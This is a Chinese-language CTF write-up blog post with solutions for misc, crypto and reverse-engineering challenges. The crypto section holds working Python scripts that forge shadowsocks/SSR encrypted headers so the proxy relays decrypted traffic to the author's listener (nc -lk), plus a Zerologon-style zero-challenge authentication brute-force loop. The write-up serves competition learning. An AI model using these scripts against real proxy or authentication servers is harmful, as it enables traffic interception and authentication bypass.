和队友一起拿了两万分，完美收尾。

逆向挺难的，不过ak了密码学就很舒服。

本文只放出我负责部分的题解，我们队的题解可以去群里下载。

Misc

出个流量分析吧

过滤条件http contains flag

出个LSB吧

lsb提取二维码

Crypto

classical

维吉尼亚密码，没有密钥，只能词频分析。

https://www.guballa.de/vigenere-solver

SSR

预测出原有流量的一小段明文（本题是流量包的前7字节，因为[0x1(1B) + ip(4B) + port(2B)]），利用流加密的缺陷，通过异或把AESCFB(Ci-1)消掉，伪造出明文，使服务器错误解析流量包，将流量包转发到我们的服务器上。

知识点太大了，我有时间写一篇博文。这里就不过多展开了。

这里只说一个大坑：

curl是本地解析域名，然后传给ssr代理，使用的头部是[0x1 + ip(4B) + port(2B)]，而浏览器是直接把域名传给ssr，域名由ssserver所在的服务器解析，使用的头部是[0x3 + len(域名) + 域名 + port(2B)]

我一开始伪造的明文选用了0x3的这种。如果凡哥真的是用浏览器打开的iv4n.cc，那么我伪造的时候，我的域名不可以超过iv4n.cc的长度（不然你就没法伪造多余部分的明文了啊）。幸好我刚好有个iyzy.cc的闲置域名。然而还是没打通。

最后想了想，请求的那个包只有100+的长度，浏览器默认的头部一般都400+，而且flag一般就放在头部里面。所以凡哥基本上就是用curl发出的请求。流量包里由dns解析iv4n.cc的记录也可以印证这一点。所以预测的明文就是[0x1 + iv4n.cc的ip + 80]，而不是[0x3 + 0x7 + iv4n.cc + 80]

多说一句，如果凡哥真的用的是0x3这种形式的头部（我本地测试了下，直接用浏览器打开网页，选用的就是0x3这种形式的头部），那么做题的人必须手头有一个长度不长于iv4n.cc的域名。所以如果大胆一点，凡哥访问了一个类似于k.cc的域名，那么参赛者必须有个不长于k.cc的域名（不然你就没法伪造多余部分的明文了啊）。这个长度的域名售价估计上万吧。

除非，[0x3 + len(域名) + 域名 + port(2B)]后面的几个字节你仍然可以预测到。这到底能不能预测到，得去读ssr的源码，看看s5的头部的格式到底是什么样的。我只是在这里纸上谈兵罢了。

（其实我猜后面紧跟的几个字节其实就是GET / HTTP/1.1之类的，但是只是猜测的）

菜鸡表示纯密码学小白，以上如果谬误，欢迎指正~

from scapy.all import rdpcap
import socket
import time
import struct

packets = rdpcap("ss.pcapng")

# 用以筛选数据包
sport=39194
src="192.168.70.129"

#要转发的目标地址，用以接收解密后的数据
iyzyi_ip = "47.101.215.199"
iyzyi_port = 50055

# ssr服务端，题目给出
ssserver_ip = "219.219.61.234"
ssserver_port = 30005

# iv4n.cc的地址（其实是exxxxxxx.github.io的地址），流量包分析得到
iv4n_blog_ip = '185.199.111.153'
iv4n_blog_port = 80

http_packet = b''
for packet in packets:
    if "TCP" in packet and packet['TCP'].payload:
        #筛选一下数据包，需要sslocal返回给ssserver的数据包
        if packet["IP"].src==src and packet["TCP"].sport==sport and len(packet['TCP'].payload.load)>16:
            http_packet += packet['TCP'].payload.load


#分隔出16字节的随机IV和数据密文
recv_iv, recv_data=http_packet[:16], http_packet[16:]
#请求包的前7位是[\x01, ip, port]，其后才是GET / HTTP/1.1
predict_data = b"\x01" + socket.inet_pton(socket.AF_INET, iv4n_blog_ip) + bytes(struct.pack('>H', iv4n_blog_port))
print(predict_data)
#在关系式 c1'=xor(c1,r) p1'=xor(p1,r) 中，predict_xor_key相当于计算r
predict_xor_key = bytes([(predict_data[i] ^ recv_data[i]) for i in range(len(predict_data))])
#构造[evil address]
fake_header = b'\x01' + socket.inet_pton(socket.AF_INET, iyzyi_ip) + bytes(struct.pack('>H', iyzyi_port))
print(fake_header)
#计算[evil address]的密文
fake_header = bytes([(fake_header[i] ^ predict_xor_key[i]) for i in range(len(fake_header))])
#拼接修改后的数据
fake_data = recv_iv + fake_header + recv_data[len(fake_header):]
print(fake_data.hex())
s = socket.socket()
#将修改后的数据发送给ssserver
s.connect((ssserver_ip, ssserver_port))
s.send(fake_data)
print('Tcp sending... ')
time.sleep(1)
s.close()

# 在iyzyi的服务器上：nc -lk 50055 或者 nc -lvkp 50055
# 注意开放入端口（centos7和阿里云的防火墙同时给爷爬，坑死我了）

image-20201023174450292

SSR Revenge

这题的协议是凡哥自己写的，github上有290+stars，简直tql。

和上一题没多大区别，原理是相同的，关键在于分析出这个协议的哪个地方的数据是用于表示流量转发的。

image-20201023175758899

请求包有三条，第二条包的第5个字节到第10个字节共6字节吗，前四个表示ip，后2个表示端口。

然后伪造明文就行。这个位置处原有的明文是可以预测的，就是流量包中dns解析拿到的第一条ip，同时http服务的端口是80：

image-20201023180036474

然后注意这题有三条发送包，是阻塞包，发送包后必须收到响应包才能发送下一条封包。

然后改改上一题的代码就行。有些注释是上一题的，我懒得改了，大家自行理解吧。

from scapy.all import rdpcap
import socket
import time
import struct

packets = rdpcap("iox.pcapng")

# 用以筛选数据包
src="192.168.0.101"
sport=24643

#要转发的目标地址，用以接收解密后的数据
iyzyi_ip = "47.101.215.199"
iyzyi_port = 50055

# ssr服务端，题目给出
ssserver_ip = "219.219.61.234"
ssserver_port = 30006

# iv4n.cc的地址（其实是exxxxxxx.github.io的地址），流量包分析得到
iv4n_blog_ip = '185.199.110.153'
iv4n_blog_port = 80

http_packet = b''
for packet in packets:
    if "TCP" in packet and packet['TCP'].payload:
        #筛选一下数据包，需要sslocal返回给ssserver的数据包
        if packet["IP"].src==src and packet["TCP"].sport==sport and len(packet['TCP'].payload.load):
            http_packet += packet['TCP'].payload.load
            #print(packet['TCP'].payload.load)
            
#print(http_packet.hex())
#分隔出16字节的随机IV和数据密文
recv_iv, recv_data=http_packet[:8], http_packet[8:]
#请求包的前7位是[\x01, ip, port]，其后才是GET / HTTP/1.1
predict_data = socket.inet_pton(socket.AF_INET, iv4n_blog_ip) + bytes(struct.pack('>H', iv4n_blog_port))
#print(predict_data)
#在关系式 c1'=xor(c1,r) p1'=xor(p1,r) 中，predict_xor_key相当于计算r
predict_xor_key = bytes([(predict_data[i] ^ recv_data[i]) for i in range(len(predict_data))])
#构造[evil address]
fake_header = socket.inet_pton(socket.AF_INET, iyzyi_ip) + bytes(struct.pack('>H', iyzyi_port))
#print(fake_header)
#计算[evil address]的密文
fake_header = bytes([(fake_header[i] ^ predict_xor_key[i]) for i in range(len(fake_header))])
#拼接修改后的数据
fake_data = recv_iv + fake_header + recv_data[len(fake_header):]
print(fake_data.hex())
s = socket.socket()
#将修改后的数据发送给ssserver
s.connect((ssserver_ip, ssserver_port))

s.send(fake_data[:4])
r1 = s.recv(2)           # b'2\x08'
print(r1)
s.send(fake_data[4:4+10])
r2 = s.recv(10)
print(r2)
s.send(fake_data[14:])
print('Tcp sending... ')
time.sleep(1)
s.close()

# 在iyzyi的服务器上：nc -lk 50055
# 注意开放入端口（centos7和阿里云的防火墙同时给爷爬，坑死我了）

image-20201023180314742

总结一下这两道题：我似乎知道GFW检测ssr流量包的方法之一了。

Challenge & Response

CVE-2020-1472

凡哥用golang仿了上面这个漏洞的利用过程。

简单来说就是aes-cfb8的iv等于0的时候，输出有256分之1的可能会是0。

import requests

session = requests.Session()

while (1):

    url = 'http://219.219.61.234:30004/chall'
    session.get(url)

    url = 'http://219.219.61.234:30004/auth'
    data = {'client_challenge' : '00000000000000000000000000000000', 'response' : '00000000000000000000000000000000'}
    r = session.post(url, data)
    print(r.text)
    
    if 'SUCCESS' in r.text:
        url = 'http://219.219.61.234:30004/secret'
        r = session.get(url)
        print(r.text)
        break


# https://www.secura.com/pathtoimg.php?id=2055
# https://xz.aliyun.com/t/8367
# https://www.cnblogs.com/leestar54/p/7763366.html

re

hello world

把b[i]写成i，然后查错查了10分钟。。。。。

k = 'is_easy_right?'
#with open(r'd:\dump0', 'rb')as f:
#    b = f.read()
#print(b)
b = b'*&\x121\x1a\x07\x11:-\x0f\x0e\x1aAK6C1\x00>\x16\x175\x1d\x108\x11DJ\x1b,+\x17P\x03\x04'
flag = []
for i in range(len(b)):
    flag.append((b[i] ^ ord(k[i % len(k)])))
print(flag)
print(''.join(map(chr, flag)))

non_name

我记得好像是matlab解4元线性方程组，太简单了，过程没保存下来。

riscv

困死了，这题简单写一下，详细的可以过几天去我博客看。

看到题目标题就大喊不妙，risc架构以前我没接触过。

下载后ida无法打开，去google搜关键字，下个ida插件，能看汇编。

你问我怎么反编译成c的代码？洗洗睡吧，梦里有。

然后linux下strings file搜了下字符串。发现了带有提示信息的字符串。以及一个疑似是换位表的字符串，其中含有较多的空格（这个是我的突破点，后面会细说）

image-20201023183929906

然后回到ida，来到correct这个字符串处。发现没有交叉引用。表示理解，毕竟只是个插件而已。但是，汇编中一定有语法能引用这个字符串。

google搜了一波，没搜到引用字符串的汇编指令。所以就行自己写个hello world，用riscv编译一下，就知道了。于是git riscv-chaintools，但是人在外地，手机热点贼差，没下成功。然后想docker下编译，装了几个docker，都报错提示缺so。

此时已经几个小时过去了，心态开始爆炸。

然后找到了一个在线编译的网站，终于得知了字符串引用的汇编指令：

image-20201023184728032

就是利用lui和addi的组合拳。

知道如何引用的字符串地址后，可以轻松定位到验证逻辑。

image-20201023185047070

然后发现走了34次if。

我心想，这种新架构，而且放在了Medium里面，学长应该不会出太难的逻辑吧，估计就是个z3之类的。就和队友说，今晚做出这道题再睡。

然后这一晚就没睡了。

然后就是在验证逻辑的附近找向上的跳转，因为你的输入总得遍历一次吧。

image-20201023185528767

image-20201023185539687

前面两处比较好分析，但是下面这个实在是没分析出来：

image-20201023185714934

主要是，这几个栈内变量，多次使用，也没法动调，根本分析不动。

image-20201023185851072

逻辑就在面前了，就几百行汇编，但就是死活没看懂。有个48*(i+1)，也有个49*(i+1)，i在有的跳转中会加一。

感觉问题的关键就在于我前面说的那个逻辑：

image-20201023185714934

有点像跳转的分发器，有的走48的分支，有的走49的分支。

第二天在火车上想了一天。

最后的的突破点在BpmvcuriVayeQLIKJ f U2 l od Z hx 5 _T s t{ k 7F n Ej X C} O AN w D8 Y bq 9 gP W 63 G MR 4 Sz H 这串字符串上。

为什么都是两个空格呢，就很奇怪。

二叉树的叶节点！！！！！！！！！！！

我马上画了半颗树，算了下cumt的c的值，不管是左边的权值是48*deep还是49*deep，都算不对。

然后算了下flag的f的值，481 + 48 2 + ... + 48 15 + 49 16 = 6544

而第一次check的值是(2 << 12) -1648 = 6544

芜湖，起飞！！！！！！！！！！！！！！！！

QQ图片20201023190912

la = [2,2,1,0,1,0,1,1,1,1,2,1,0,1,1,0,1,0,0,0,1,1,1,0,0,0,1,1,0,2,1,0,0,1]
#print(len(la))

lb = [-1648, -1633, -0x790, 0x1e4, -0x155, 0x1e4, -0x77f, -0x77f, 0x68e, -0x154, -0x680, 0x3be, 0, 0x3cb, -0x154, 0x3f0, -0x3a0, 0x120, 0x1e3, 0x3f0, 0x3cb, -0x3a0, -0x154, 0x2d5, 0x547, 0x2d5, -0x5b0, -0x154, 0x122, -0x661, 0x129, 0x1e0, 0x6c0, -0x788]
#print(len(lb))

def get_num(a, b):
    return (a << 12) + b

lc = [get_num(la[i], lb[i]) for i in range(len(la))]
#print(lc)

i = 0
dic = {}
#with open(r'd:\dump', 'rb')as f:
#    b = f.read()
#print(b)
table = b'BpmvcuriVayeQLIKJ  f  U2  l  od  Z  hx  5  _T  s  t{  k  7F  n  Ej  X  C}  O  AN  w  D8  Y  bq  9  gP  W  63  G  MR  4  Sz  H  '

def dfs(deep, value):
  global i, dic
  if i < len(table):
    i += 1
    if table[i-1] != 32:
      dic[value] = table[i-1]
      dfs(deep+1, 48 * (deep+1) + value)
      dfs(deep+1, 49 * (deep+1) + value)

dfs(0, 0)

for i in lc:
    print(chr(dic[i]),end='')

riscv架构里面考察算法，这难度。。。

不过此刻，我大概懂学长为啥把这题归在Medium里面了。我估计他很有可能刻意地没有对二叉树字符串进行加密存储，故意留了这个当作突破点。

要是真的把二叉树字符串藏起来。我必然做不出这道题。

Last modification：November 22nd, 2020 at 01:11 pm
© 允许规范转载